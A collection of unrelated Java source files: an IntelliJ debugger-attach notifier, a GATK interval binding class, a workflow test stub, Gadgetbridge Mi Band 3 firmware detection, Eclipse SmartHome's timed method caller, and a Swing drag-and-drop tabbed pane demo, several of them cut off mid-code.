else if (!myHintButton.isVisible() && !myProcessIcon.isVisible()) {
x -= myHintButtonSize.width;
}
else {
throw new IllegalStateException("Can't show both process icon and hint button");
}
Dimension adSize = myAdvertiser.getAdComponent().getPreferredSize();
y = (size.height - adSize.height) / 2;
myAdvertiser.getAdComponent().setBounds(0, y, x, adSize.height);
}
}
}
|
package com.intellij.internal;
import com.intellij.concurrency.JobScheduler;
import com.intellij.ide.plugins.PluginManagerCore;
import com.intellij.notification.Notification;
import com.intellij.notification.NotificationType;
import com.intellij.notification.Notifications;
import com.intellij.openapi.application.Application;
import com.intellij.openapi.application.ApplicationManager;
import com.intellij.openapi.diagnostic.Logger;
import com.intellij.util.containers.ContainerUtil;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import java.lang.management.ManagementFactory;
import java.lang.reflect.InvocationTargetException;
import java.util.Properties;
import java.util.concurrent.ScheduledFuture;
import java.util.concurrent.TimeUnit;
/**
* @author egor
*/
public class DebugAttachDetector {
private static final Logger LOG = Logger.getInstance(DebugAttachDetector.class);
private Properties myAgentProperties = null;
private ScheduledFuture<?> myTask;
private boolean myAttached;
private boolean myReady;
public DebugAttachDetector() {
Class<?> vmSupportClass;
try {
vmSupportClass = Class.forName("jdk.internal.vm.VMSupport");
}
catch (Exception e) {
try {
vmSupportClass = Class.forName("sun.misc.VMSupport");
}
catch (Exception ignored) {
LOG.warn("Unable to init DebugAttachDetector, VMSupport class not found");
return;
}
}
Application app = ApplicationManager.getApplication();
try {
myAgentProperties = (Properties)vmSupportClass.getMethod("getAgentProperties").invoke(null);
}
catch (NoSuchMethodException | InvocationTargetException ex) {
LOG.error(ex);
}
catch (IllegalAccessException ex) {
if (app.isInternal()) {
LOG.warn("Unable to start DebugAttachDetector, please add `--add-exports=java.base/jdk.internal.vm=ALL-UNNAMED` to VM options");
}
}
if (myAgentProperties == null ||
!app.isInternal() ||
app.isUnitTestMode() ||
Boolean.getBoolean("disable.attach.detector") ||
PluginManagerCore.isRunningFromSources() ||
!isDebugEnabled()) {
return;
}
myTask = JobScheduler.getScheduler().scheduleWithFixedDelay(() -> {
boolean attached = isAttached(myAgentProperties);
if (!myReady) {
myAttached = attached;
myReady = true;
}
else if (attached != myAttached) {
myAttached = attached;
Notifications.Bus.notify(new Notification(Notifications.SYSTEM_MESSAGES_GROUP_ID,
"Remote debugger",
myAttached ? "attached" : "detached",
NotificationType.WARNING));
}
}, 5, 5, TimeUnit.SECONDS);
}
private static boolean isAttached(@NotNull Properties properties) {
String property = properties.getProperty("sun.jdwp.listenerAddress");
return property != null && property.isEmpty();
}
@Nullable
private static final String DEBUG_ARGS = getDebugArgs();
private static String getDebugArgs() {
return ContainerUtil.find(ManagementFactory.getRuntimeMXBean().getInputArguments(), s -> s.contains("-agentlib:jdwp"));
}
public static boolean isDebugEnabled() {
return DEBUG_ARGS != null;
}
private static boolean isDebugServer() {
return DEBUG_ARGS != null && DEBUG_ARGS.contains("server=y");
}
public static boolean isAttached() {
if (!isDebugEnabled()) {
return false;
}
if (!isDebugServer()) {
return true;
}
Properties properties = ApplicationManager.getApplication().getComponent(DebugAttachDetector.class).myAgentProperties;
if (properties == null) { // For now return true if can not detect
return true;
}
return isAttached(properties);
}
}
|
package org.broadinstitute.sting.commandline;
import com.google.java.contract.Requires;
import net.sf.samtools.util.CloseableIterator;
import org.broad.tribble.Feature;
import org.broad.tribble.FeatureCodec;
import org.broad.tribble.readers.AsciiLineReader;
import org.broadinstitute.sting.gatk.GenomeAnalysisEngine;
import org.broadinstitute.sting.gatk.refdata.tracks.FeatureManager;
import org.broadinstitute.sting.gatk.refdata.tracks.RMDTrackBuilder;
import org.broadinstitute.sting.gatk.refdata.utils.GATKFeature;
import org.broadinstitute.sting.utils.GenomeLoc;
import org.broadinstitute.sting.utils.exceptions.UserException;
import org.broadinstitute.sting.utils.interval.IntervalUtils;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.*;
/**
* An IntervalBinding representing a walker argument that gets bound to either a ROD track or interval string.
*
* The IntervalBinding<T> is a formal GATK argument that bridges between a walker and
* the engine to construct intervals for traversal at runtime. The IntervalBinding can
* either be a RodBinding<T>, a string of one or more intervals, or a file with interval strings.
* The GATK Engine takes care of initializing the binding when appropriate and determining intervals from it.
*
* Note that this class is immutable.
*/
public final class IntervalBinding<T extends Feature> {
private RodBinding<T> featureIntervals;
private String stringIntervals;
@Requires({"type != null", "rawName != null", "source != null", "tribbleType != null", "tags != null"})
public IntervalBinding(Class<T> type, final String rawName, final String source, final String tribbleType, final Tags tags) {
featureIntervals = new RodBinding<T>(type, rawName, source, tribbleType, tags);
}
@Requires({"intervalArgument != null"})
public IntervalBinding(String intervalArgument) {
stringIntervals = intervalArgument;
}
public String getSource() {
if ( featureIntervals != null )
return featureIntervals.getSource();
return stringIntervals;
}
public List<GenomeLoc> getIntervals(GenomeAnalysisEngine toolkit) {
List<GenomeLoc> intervals;
if ( featureIntervals != null ) {
intervals = new ArrayList<GenomeLoc>();
//RMDTrackBuilder builder = new RMDTrackBuilder(toolkit.getReferenceDataSource().getReference().getSequenceDictionary(),
// toolkit.getGenomeLocParser(),
// toolkit.getArguments().unsafe);
// TODO -- after ROD system cleanup, go through the ROD system so that we can handle things like gzipped files
FeatureCodec codec = new FeatureManager().getByName(featureIntervals.getTribbleType()).getCodec();
try {
FileInputStream fis = new FileInputStream(new File(featureIntervals.getSource()));
AsciiLineReader lineReader = new AsciiLineReader(fis);
codec.readHeader(lineReader);
String line = lineReader.readLine();
while ( line != null ) {
intervals.add(toolkit.getGenomeLocParser().createGenomeLoc(codec.decodeLoc(line)));
line = lineReader.readLine();
}
} catch (IOException e) {
throw new UserException("Problem reading the interval file " + featureIntervals.getSource() + "; " + e.getMessage());
}
} else {
intervals = IntervalUtils.parseIntervalArguments(toolkit.getGenomeLocParser(), stringIntervals);
}
return intervals;
}
}
|
package alien4cloud.paas.wf;
import alien4cloud.paas.plan.ToscaNodeLifecycleConstants;
import alien4cloud.paas.wf.model.WorkflowDescription;
import alien4cloud.paas.wf.model.WorkflowTest;
import alien4cloud.paas.wf.model.WorkflowTestDescription;
import alien4cloud.paas.wf.model.WorkflowTestUtils;
import alien4cloud.paas.wf.util.WorkflowGraphUtils;
import alien4cloud.paas.wf.util.WorkflowUtils;
import alien4cloud.utils.AlienUtils;
import alien4cloud.utils.CollectionUtils;
import alien4cloud.utils.YamlParserUtil;
import com.google.common.collect.Maps;
import lombok.extern.slf4j.Slf4j;
import org.alien4cloud.tosca.model.workflow.Workflow;
import org.alien4cloud.tosca.model.workflow.WorkflowStep;
import org.alien4cloud.tosca.model.workflow.declarative.DefaultDeclarativeWorkflows;
import org.apache.commons.lang3.StringUtils;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.springframework.core.io.Resource;
import org.springframework.core.io.support.PathMatchingResourcePatternResolver;
import java.io.IOException;
import java.io.InputStream;
import java.util.Map;
@Slf4j
public class WorkflowSimplifyServiceTest_removeOrphanSetStateSteps {
WorkflowSimplifyService workflowSimplifyService = new WorkflowSimplifyService();
DefaultDeclarativeWorkflows defaultDeclarativeWorkflows;
@Before
public void setup() throws IOException {
defaultDeclarativeWorkflows = YamlParserUtil.parse(
DefaultDeclarativeWorkflows.class.getClassLoader().getResourceAsStream("declarative-workflows-2.0.0-jobs.yml"), DefaultDeclarativeWorkflows.class);
}
@Test
public void test() throws IOException {
PathMatchingResourcePatternResolver resourcePatternResolver = new PathMatchingResourcePatternResolver();
|
package nodomain.freeyourgadget.gadgetbridge.service.devices.huami.miband3;
import java.util.HashMap;
import java.util.Map;
import nodomain.freeyourgadget.gadgetbridge.impl.GBDevice;
import nodomain.freeyourgadget.gadgetbridge.model.DeviceType;
import nodomain.freeyourgadget.gadgetbridge.service.devices.huami.HuamiFirmwareInfo;
import nodomain.freeyourgadget.gadgetbridge.service.devices.huami.HuamiFirmwareType;
import nodomain.freeyourgadget.gadgetbridge.util.ArrayUtils;
public class MiBand3FirmwareInfo extends HuamiFirmwareInfo {
// this is the same as Mi Band 2
private static final byte[] FW_HEADER = new byte[]{
(byte) 0xa3, (byte) 0x68, (byte) 0x04, (byte) 0x3b, (byte) 0x02, (byte) 0xdb,
(byte) 0xc8, (byte) 0x58, (byte) 0xd0, (byte) 0x50, (byte) 0xfa, (byte) 0xe7,
(byte) 0x0c, (byte) 0x34, (byte) 0xf3, (byte) 0xe7,
};
private static final int FW_HEADER_OFFSET = 0x150;
private static final byte FW_MAGIC = (byte) 0xf9;
private static final int FW_MAGIC_OFFSET = 0x17d;
private static Map<Integer, String> crcToVersion = new HashMap<>();
static {
// firmware
crcToVersion.put(55852, "1.2.0.8");
crcToVersion.put(14899, "1.3.0.4");
crcToVersion.put(20651, "1.3.0.8");
crcToVersion.put(60781, "1.4.0.12");
crcToVersion.put(30045, "1.5.0.2");
crcToVersion.put(38254, "1.5.0.7");
crcToVersion.put(46985, "1.5.0.11");
crcToVersion.put(31330, "1.6.0.16");
crcToVersion.put(10930, "1.8.0.0");
crcToVersion.put(59800, "2.0.0.4");
crcToVersion.put(10023, "2.2.0.12");
// resources
crcToVersion.put(54724, "1.2.0.8");
crcToVersion.put(52589, "1.3.0.4");
crcToVersion.put(34642, "1.3.0.8");
crcToVersion.put(25278, "1.4.0.12-1.6.0.16");
crcToVersion.put(23249, "1.8.0.0");
crcToVersion.put(1815, "2.0.0.4");
crcToVersion.put(7225, "2.2.0.12");
// font
crcToVersion.put(19775, "1");
}
public MiBand3FirmwareInfo(byte[] bytes) {
super(bytes);
}
@Override
protected HuamiFirmwareType determineFirmwareType(byte[] bytes) {
if (ArrayUtils.startsWith(bytes, FT_HEADER)) {
if (bytes[FONT_TYPE_OFFSET] == 0x03 || bytes[FONT_TYPE_OFFSET] == 0x04) {
return HuamiFirmwareType.FONT;
}
return HuamiFirmwareType.INVALID;
}
if (ArrayUtils.startsWith(bytes, RES_HEADER)) {
if (bytes.length > 150000) { // don't know how to distinguish from Bip/Cor .res
return HuamiFirmwareType.INVALID;
}
return HuamiFirmwareType.RES;
}
if (ArrayUtils.equals(bytes, FW_HEADER, FW_HEADER_OFFSET)
&& (bytes[FW_MAGIC_OFFSET] == FW_MAGIC)) {
// TODO: this is certainly not a correct validation, but it works for now
return HuamiFirmwareType.FIRMWARE;
}
return HuamiFirmwareType.INVALID;
}
@Override
public boolean isGenerallyCompatibleWith(GBDevice device) {
return isHeaderValid() && device.getType() == DeviceType.MIBAND3;
}
@Override
protected Map<Integer, String> getCrcMap() {
return crcToVersion;
}
@Override
protected String searchFirmwareVersion(byte[] fwbytes) {
// does not work for Mi Band 3
return null;
}
}
|
package org.eclipse.smarthome.core.common;
import java.security.AccessController;
import java.security.PrivilegedAction;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* {@link SafeMethodCaller} is a helper class, which can be used to call a method safely. Safely means that a separate
* thread is opened, so that a method call can not block the execution of the system. It also catches Errors and wraps
* them into a {@link ExecutionException}, so that the caller does not have to catch {@link Throwable}. This helper
* class is useful when calling third party code like bindings.
*
* @author Dennis Nobel - Initial contribution
*/
public class SafeMethodCaller {
/**
* Executable Action. See {@link SafeMethodCaller#call(Action)}
*
* @param <V> return type
*/
public interface Action<V> extends Callable<V> {
}
/**
* Executable Action with exception. See {@link SafeMethodCaller#call(ActionWithException)}
*
* @param <V> return type
*/
public interface ActionWithException<V> extends Callable<V> {
}
/**
* Default timeout for actions in milliseconds.
*/
public static int DEFAULT_TIMEOUT = 5000 /* milliseconds */;
/**
* Executes the action in a new thread with a default timeout (see {@link SafeMethodCaller#DEFAULT_TIMEOUT}). If an
* exception occurs while calling the action or the action does not terminate within the timeout this method
* rethrows the exception.
*
* @param action action to be called
* @return result
* @throws TimeoutException if the action does not terminate within the timeout
* @throws ExecutionException if the action throws an Exception or an Error
*/
public static <V> V call(ActionWithException<V> action) throws TimeoutException, ExecutionException {
return call(action, DEFAULT_TIMEOUT);
}
/**
* Executes the action in a new thread with a given timeout. If an exception occurs while calling the action or the
* action does not terminate within the timeout this method rethrows the exception.
*
* @param action action to be called
* @param timeout timeout of the action in milliseconds. If the action takes longer than the defined timeout a
* {@link TimeoutException} is thrown
* @return result
* @throws TimeoutException if the action does not terminate within the timeout
* @throws ExecutionException if the action throws an Exception or an Error
*/
public static <V> V call(ActionWithException<V> action, int timeout) throws TimeoutException, ExecutionException {
try {
return callAsynchronous(action, timeout);
} catch (InterruptedException ex) {
throw new IllegalStateException("Thread was interrupted.", ex);
}
}
/**
* Executes the action in a new thread with a default timeout (see {@link SafeMethodCaller#DEFAULT_TIMEOUT}). If
* an exception occurs while calling the action or the action does not terminate within the timeout this method just
* logs the exception, but does not rethrow it. In case an exception occurred or the action timeout the result will
* always be null.
*
* @param action action to be called
* @return result or null if an exception occurred or the timeout was reached
*/
public static <V> V call(Action<V> action) {
return call(action, DEFAULT_TIMEOUT);
}
/**
* Executes the action in a new thread with a given timeout. If an exception occurs while calling the action or the
* action does not terminate within the timeout this method just logs the exception, but does not rethrow it. In
* case an exception occurred or the action timeout the result will always be null.
*
* @param action action to be called
* @param timeout timeout of the action in milliseconds. If the action takes longer than the defined timeout an
* exception is logged and this method returns null
* @return result or null if an exception occurred or the timeout was reached
*/
public static <V> V call(Action<V> action, int timeout) {
try {
return callAsynchronous(action, timeout);
} catch (ExecutionException ex) {
StackTraceElement stackTraceElement = findCalledMethod(ex, action.getClass());
if (stackTraceElement != null) {
String className = stackTraceElement.getClassName();
String methodName = stackTraceElement.getMethodName();
getLogger().error("Exception occured while calling '" + methodName + "' at '" + className + "'", ex);
} else {
getLogger().error("Exception occured while calling action", ex);
}
return null;
} catch (TimeoutException ex) {
getLogger().error(
"Timeout occured while calling method. Execution took longer than " + timeout + " milliseconds.",
ex);
return null;
} catch (Throwable throwable) {
getLogger().error("Unkown Exception or Error occured while calling action", throwable);
return null;
}
}
/**
* This method tries to find the method which was called within the action.
*
* @param eex ExecutionException
* @param actionClass action class
* @return stack trace element for the called method or null
*/
private static StackTraceElement findCalledMethod(ExecutionException eex, Class<?> actionClass) {
if (eex.getCause() == null) {
return null;
}
StackTraceElement[] stackTrace = eex.getCause().getStackTrace();
if (stackTrace == null) {
return null;
}
for (int i = 0; i < stackTrace.length; i++) {
StackTraceElement stackTraceElement = stackTrace[i];
if (stackTraceElement.getClassName().equals(actionClass.getName())) {
return stackTrace[i - 1];
}
}
return null;
}
private static class CallableWrapper<V> implements Callable<V> {
private final Callable<V> callable;
private Thread thread;
public CallableWrapper(final Callable<V> callable) {
this.callable = callable;
}
public Thread getThread() {
return thread;
}
@Override
public V call() throws Exception {
thread = Thread.currentThread();
return callable.call();
}
}
private static <V> V callAsynchronous(final Callable<V> callable, int timeout)
throws InterruptedException, ExecutionException, TimeoutException {
CallableWrapper<V> wrapper = new CallableWrapper<>(callable);
try {
Future<V> future = ThreadPoolManager.getPool("safeCall").submit(wrapper);
return future.get(timeout, TimeUnit.MILLISECONDS);
} catch (TimeoutException e) {
if (wrapper.getThread() != null) {
final Thread thread = wrapper.getThread();
StackTraceElement element = AccessController.doPrivileged(new PrivilegedAction<StackTraceElement>() {
@Override
public StackTraceElement run() {
return thread.getStackTrace()[0];
}
});
getLogger().debug("Timeout of {}ms exceeded, thread {} ({}) in state {} is at {}.{}({}:{}).", timeout,
thread.getName(), thread.getId(), thread.getState().toString(), element.getClassName(),
element.getMethodName(), element.getFileName(), element.getLineNumber());
throw e;
} else {
getLogger().debug("Timeout of {}ms exceeded but the task was still queued.", timeout);
}
return null;
}
}
private static Logger getLogger() {
return LoggerFactory.getLogger(SafeMethodCaller.class);
}
}
|
package example;
//-*- mode:java; encoding:utf-8 -*-
// vim:set fileencoding=utf-8:
//@homepage@
import java.awt.*;
import java.awt.datatransfer.*;
import java.awt.dnd.*;
import java.awt.event.*;
import java.awt.image.*;
import java.beans.*;
import java.io.IOException;
import java.util.*;
import javax.swing.*;
import javax.swing.plaf.*;
import javax.swing.plaf.basic.*;
public final class MainPanel extends JPanel {
private final DnDTabbedPane tabbedPane = new DnDTabbedPane();
public MainPanel(TransferHandler handler, LayerUI<DnDTabbedPane> layerUI) {
super(new BorderLayout());
DnDTabbedPane sub = new DnDTabbedPane();
sub.addTab("Title aa", new JLabel("aaa"));
sub.addTab("Title bb", new JScrollPane(new JTree()));
sub.addTab("Title cc", new JScrollPane(new JTextArea("JTextArea cc")));
tabbedPane.addTab("JTree 00", new JScrollPane(new JTree()));
tabbedPane.addTab("JLabel 01", new JLabel("Test"));
tabbedPane.addTab("JTable 02", new JScrollPane(new JTable(10, 3)));
tabbedPane.addTab("JTextArea 03", new JScrollPane(new JTextArea("JTextArea 03")));
tabbedPane.addTab("JLabel 04", new JLabel("<html>asfasfdasdfasdfsa<br>asfdd13412341234123446745fgh"));
tabbedPane.addTab("null 05", null);
tabbedPane.addTab("JTabbedPane 06", sub);
tabbedPane.addTab("Title 000000000000000007", new JScrollPane(new JTree()));
// ButtonTabComponent
for (int i = 0; i < tabbedPane.getTabCount(); i++) {
tabbedPane.setTabComponentAt(i, new ButtonTabComponent(tabbedPane));
tabbedPane.setToolTipTextAt(i, "tooltip: " + i);
}
DnDTabbedPane sub2 = new DnDTabbedPane();
sub2.addTab("Title aaa", new JLabel("aaa"));
sub2.addTab("Title bbb", new JScrollPane(new JTree()));
sub2.addTab("Title ccc", new JScrollPane(new JTextArea("JTextArea ccc")));
tabbedPane.setName("JTabbedPane#main");
sub.setName("JTabbedPane#sub1");
sub2.setName("JTabbedPane#sub2");
DropTargetListener dropTargetListener = new TabDropTargetAdapter();
Arrays.asList(tabbedPane, sub, sub2).forEach(t -> {
t.setTabLayoutPolicy(JTabbedPane.SCROLL_TAB_LAYOUT);
t.setTransferHandler(handler);
try {
t.getDropTarget().addDropTargetListener(dropTargetListener);
} catch (TooManyListenersException ex) {
ex.printStackTrace();
}
});
JPanel p = new JPanel(new GridLayout(2, 1));
p.add(new JLayer<>(tabbedPane, layerUI));
p.add(new JLayer<>(sub2, layerUI));
add(p);
add(makeCheckBoxPanel(), BorderLayout.NORTH);
setPreferredSize(new Dimension(320, 240));
}
private Component makeCheckBoxPanel() {
JCheckBox tcheck = new JCheckBox("Top", true);
tcheck.addActionListener(e -> tabbedPane.setTabPlacement(tcheck.isSelected() ? JTabbedPane.TOP : JTabbedPane.RIGHT));
JCheckBox scheck = new JCheckBox("SCROLL_TAB_LAYOUT", true);
scheck.addActionListener(e -> tabbedPane.setTabLayoutPolicy(scheck.isSelected() ? JTabbedPane.SCROLL_TAB_LAYOUT : JTabbedPane.WRAP_TAB_LAYOUT));
JPanel p = new JPanel(new FlowLayout(FlowLayout.LEFT));
p.add(tcheck);
p.add(scheck);
return p;
}
public static void main(String... args) {
EventQueue.invokeLater(new Runnable() {
@Override public void run() {
createAndShowGUI();
}
});
}
public static void createAndShowGUI() {
try {
UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
} catch (ClassNotFoundException | InstantiationException
| IllegalAccessException | UnsupportedLookAndFeelException ex) {
ex.printStackTrace();
}
TabTransferHandler handler = new TabTransferHandler();
JCheckBoxMenuItem check = new JCheckBoxMenuItem("Ghost image: Heavyweight");
check.addActionListener(e -> {
JCheckBoxMenuItem c = (JCheckBoxMenuItem) e.getSource();
handler.setDragImageMode(c.isSelected() ? DragImageMode.Heavyweight : DragImageMode.Lightweight);
});
JMenu menu = new JMenu("Debug");
menu.add(check);
JMenuBar menubar = new JMenuBar();
menubar.add(menu);
LayerUI<DnDTabbedPane> layerUI = new DropLocationLayerUI();
JFrame frame = new JFrame("@title@");
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
frame.getContentPane().add(new MainPanel(handler, layerUI));
frame.setJMenuBar(menubar);
frame.pack();
frame.setLocationRelativeTo(null);
Point pt = frame.getLocation();
pt.translate(360, 60);
JFrame sub = new JFrame("sub");
sub.getContentPane().add(new MainPanel(handler, layerUI));
sub.pack();
sub.setLocation(pt);
frame.setVisible(true);
sub.setVisible(true);
}
}
class DnDTabbedPane extends JTabbedPane {
private static final int SCROLL_SIZE = 20; // Test
private static final int BUTTON_SIZE = 30; // XXX 30 is magic number of scroll button size
private static final Rectangle RECT_BACKWARD = new Rectangle();
private static final Rectangle RECT_FORWARD = new Rectangle();
private final DropMode dropMode = DropMode.INSERT;
protected int dragTabIndex = -1;
private transient DnDTabbedPane.DropLocation dropLocation;
public static final class DropLocation extends TransferHandler.DropLocation {
private final int index;
private boolean dropable = true;
protected DropLocation(Point p, int index) {
super(p);
this.index = index;
}
public int getIndex() {
return index;
}
public void setDroppable(boolean flag) {
dropable = flag;
}
public boolean isDroppable() {
return dropable;
}
// @Override public String toString() {
// return getClass().getName()
// + "[dropPoint=" + getDropPoint() + ","
// + "index=" + index + ","
// + "insert=" + isInsert + "]";
}
private void clickArrowButton(String actionKey) {
JButton scrollForwardButton = null;
JButton scrollBackwardButton = null;
for (Component c: getComponents()) {
if (c instanceof JButton) {
if (scrollForwardButton == null && scrollBackwardButton == null) {
scrollForwardButton = (JButton) c;
} else if (scrollBackwardButton == null) {
scrollBackwardButton = (JButton) c;
}
}
}
JButton button = "scrollTabsForwardAction".equals(actionKey) ? scrollForwardButton : scrollBackwardButton;
Optional.ofNullable(button)
.filter(JButton::isEnabled)
.ifPresent(JButton::doClick);
// // ArrayIndexOutOfBoundsException
// Optional.ofNullable(getActionMap())
// .map(am -> am.get(actionKey))
// .filter(Action::isEnabled)
// .ifPresent(a -> a.actionPerformed(new ActionEvent(this, ActionEvent.ACTION_PERFORMED, null, 0, 0)));
// // ActionMap map = getActionMap();
// // if (Objects.nonNull(map)) {
// // Action action = map.get(actionKey);
// // if (Objects.nonNull(action) && action.isEnabled()) {
// // action.actionPerformed(new ActionEvent(this, ActionEvent.ACTION_PERFORMED, null, 0, 0));
}
public void autoScrollTest(Point pt) {
Rectangle r = getTabAreaBounds();
// int tabPlacement = getTabPlacement();
// if (tabPlacement == TOP || tabPlacement == BOTTOM) {
if (isTopBottomTabPlacement(getTabPlacement())) {
RECT_BACKWARD.setBounds(r.x, r.y, SCROLL_SIZE, r.height);
RECT_FORWARD.setBounds(r.x + r.width - SCROLL_SIZE - BUTTON_SIZE, r.y, SCROLL_SIZE + BUTTON_SIZE, r.height);
} else { // if (tabPlacement == LEFT || tabPlacement == RIGHT) {
RECT_BACKWARD.setBounds(r.x, r.y, r.width, SCROLL_SIZE);
RECT_FORWARD.setBounds(r.x, r.y + r.height - SCROLL_SIZE - BUTTON_SIZE, r.width, SCROLL_SIZE + BUTTON_SIZE);
}
if (RECT_BACKWARD.contains(pt)) {
clickArrowButton("scrollTabsBackwardAction");
} else if (RECT_FORWARD.contains(pt)) {
clickArrowButton("scrollTabsForwardAction");
}
}
protected DnDTabbedPane() {
super();
Handler h = new Handler();
addMouseListener(h);
addMouseMotionListener(h);
addPropertyChangeListener(h);
}
// @Override TransferHandler.DropLocation dropLocationForPoint(Point p) {
public DnDTabbedPane.DropLocation tabDropLocationForPoint(Point p) {
if (dropMode != DropMode.INSERT) {
assert false : "Unexpected drop mode";
}
for (int i = 0; i < getTabCount(); i++) {
if (getBoundsAt(i).contains(p)) {
return new DropLocation(p, i);
}
}
if (getTabAreaBounds().contains(p)) {
return new DropLocation(p, getTabCount());
}
return new DropLocation(p, -1);
// switch (dropMode) {
// case INSERT:
// for (int i = 0; i < getTabCount(); i++) {
// if (getBoundsAt(i).contains(p)) {
// return new DropLocation(p, i);
// if (getTabAreaBounds().contains(p)) {
// return new DropLocation(p, getTabCount());
// break;
// case USE_SELECTION:
// case ON:
// case ON_OR_INSERT:
// default:
// assert false : "Unexpected drop mode";
// break;
// return new DropLocation(p, -1);
}
public final DnDTabbedPane.DropLocation getDropLocation() {
return dropLocation;
}
// WARNING: The method DnDTabbedPane.setDropLocation(TransferHandler.DropLocation, Object, boolean) does not override the inherited method from JComponent since it is private to a different package
// @Override Object setDropLocation(TransferHandler.DropLocation location, Object state, boolean forDrop) {
// DropLocation old = dropLocation;
// if (Objects.isNull(location) || !forDrop) {
// dropLocation = new DropLocation(new Point(), -1);
// } else if (location instanceof DropLocation) {
// dropLocation = (DropLocation) location;
// firePropertyChange("dropLocation", old, dropLocation);
// return null;
public Object setTabDropLocation(DnDTabbedPane.DropLocation location, Object state, boolean forDrop) {
DropLocation old = dropLocation;
if (Objects.isNull(location) || !forDrop) {
dropLocation = new DropLocation(new Point(), -1);
} else {
dropLocation = location;
}
firePropertyChange("dropLocation", old, dropLocation);
return null;
}
public void exportTab(int dragIndex, JTabbedPane target, int targetIndex) {
System.out.println("exportTab");
final Component cmp = getComponentAt(dragIndex);
final String title = getTitleAt(dragIndex);
final Icon icon = getIconAt(dragIndex);
final String tip = getToolTipTextAt(dragIndex);
final boolean isEnabled = isEnabledAt(dragIndex);
Component tab = getTabComponentAt(dragIndex);
if (tab instanceof ButtonTabComponent) {
tab = new ButtonTabComponent(target);
}
remove(dragIndex);
target.insertTab(title, icon, cmp, tip, targetIndex);
target.setEnabledAt(targetIndex, isEnabled);
target.setTabComponentAt(targetIndex, tab);
target.setSelectedIndex(targetIndex);
if (tab instanceof JComponent) {
((JComponent) tab).scrollRectToVisible(tab.getBounds());
}
}
public void convertTab(int prev, int next) {
System.out.println("convertTab");
// if (next < 0 || prev == next) {
// return;
final Component cmp = getComponentAt(prev);
final Component tab = getTabComponentAt(prev);
final String title = getTitleAt(prev);
final Icon icon = getIconAt(prev);
final String tip = getToolTipTextAt(prev);
final boolean isEnabled = isEnabledAt(prev);
int tgtindex = prev > next ? next : next - 1;
remove(prev);
insertTab(title, icon, cmp, tip, tgtindex);
setEnabledAt(tgtindex, isEnabled);
// When you drag'n'drop a disabled tab, it finishes enabled and selected.
// pointed out by dlorde
if (isEnabled) {
setSelectedIndex(tgtindex);
}
// I have a component in all tabs (jlabel with an X to close the tab) and when i move a tab the component disappear.
// pointed out by Daniel Dario Morales Salas
setTabComponentAt(tgtindex, tab);
}
// public Rectangle getTabAreaBounds() {
// Rectangle tabbedRect = getBounds();
// Component c = getSelectedComponent();
// return tabbedRect;
// int xx = tabbedRect.x;
// int yy = tabbedRect.y;
// Rectangle compRect = getSelectedComponent().getBounds();
// int tabPlacement = getTabPlacement();
// if (tabPlacement == TOP) {
// tabbedRect.height = tabbedRect.height - compRect.height;
// } else if (tabPlacement == BOTTOM) {
// tabbedRect.y = tabbedRect.y + compRect.y + compRect.height;
// tabbedRect.height = tabbedRect.height - compRect.height;
// } else if (tabPlacement == LEFT) {
// tabbedRect.width = tabbedRect.width - compRect.width;
// } else { // if (tabPlacement == RIGHT) {
// tabbedRect.x = tabbedRect.x + compRect.x + compRect.width;
// tabbedRect.width = tabbedRect.width - compRect.width;
// tabbedRect.translate(-xx, -yy);
// // tabbedRect.grow(2, 2);
// return tabbedRect;
public Rectangle getTabAreaBounds() {
Rectangle tabbedRect = getBounds();
int xx = tabbedRect.x;
int yy = tabbedRect.y;
Rectangle compRect = Optional.ofNullable(getSelectedComponent()).map(Component::getBounds).orElseGet(Rectangle::new);
int tabPlacement = getTabPlacement();
if (isTopBottomTabPlacement(tabPlacement)) {
tabbedRect.height = tabbedRect.height - compRect.height;
if (tabPlacement == BOTTOM) {
tabbedRect.y += compRect.y + compRect.height;
}
} else {
tabbedRect.width = tabbedRect.width - compRect.width;
if (tabPlacement == RIGHT) {
tabbedRect.x += compRect.x + compRect.width;
}
}
tabbedRect.translate(-xx, -yy);
// tabbedRect.grow(2, 2);
return tabbedRect;
}
public static boolean isTopBottomTabPlacement(int tabPlacement) {
return tabPlacement == JTabbedPane.TOP || tabPlacement == JTabbedPane.BOTTOM;
}
private class Handler extends MouseAdapter implements PropertyChangeListener { // , BeforeDrag
private Point startPt;
private final int gestureMotionThreshold = DragSource.getDragThreshold();
// private final Integer gestureMotionThreshold = (Integer) Toolkit.getDefaultToolkit().getDesktopProperty("DnD.gestureMotionThreshold");
// PropertyChangeListener
@Override public void propertyChange(PropertyChangeEvent e) {
String propertyName = e.getPropertyName();
if ("dropLocation".equals(propertyName)) {
// System.out.println("propertyChange: dropLocation");
repaint();
}
}
// MouseListener
@Override public void mousePressed(MouseEvent e) {
DnDTabbedPane src = (DnDTabbedPane) e.getComponent();
boolean isOnlyOneTab = src.getTabCount() <= 1;
if (isOnlyOneTab) {
startPt = null;
return;
}
Point tabPt = e.getPoint(); // e.getDragOrigin();
int idx = src.indexAtLocation(tabPt.x, tabPt.y);
// disabled tab, null component problem.
// pointed out by daryl. NullPointerException: i.e. addTab("Tab", null)
boolean flag = idx < 0 || !src.isEnabledAt(idx) || Objects.isNull(src.getComponentAt(idx));
startPt = flag ? null : tabPt;
}
@Override public void mouseDragged(MouseEvent e) {
Point tabPt = e.getPoint(); // e.getDragOrigin();
if (Objects.nonNull(startPt) && startPt.distance(tabPt) > gestureMotionThreshold) {
DnDTabbedPane src = (DnDTabbedPane) e.getComponent();
TransferHandler th = src.getTransferHandler();
dragTabIndex = src.indexAtLocation(tabPt.x, tabPt.y);
th.exportAsDrag(src, e, TransferHandler.MOVE);
startPt = null;
}
}
}
}
enum DragImageMode {
Heavyweight, Lightweight;
}
class TabDropTargetAdapter extends DropTargetAdapter {
private void clearDropLocationPaint(Component c) {
if (c instanceof DnDTabbedPane) {
DnDTabbedPane t = (DnDTabbedPane) c;
t.setTabDropLocation(null, null, false);
t.setCursor(Cursor.getPredefinedCursor(Cursor.DEFAULT_CURSOR));
}
}
@Override public void drop(DropTargetDropEvent dtde) {
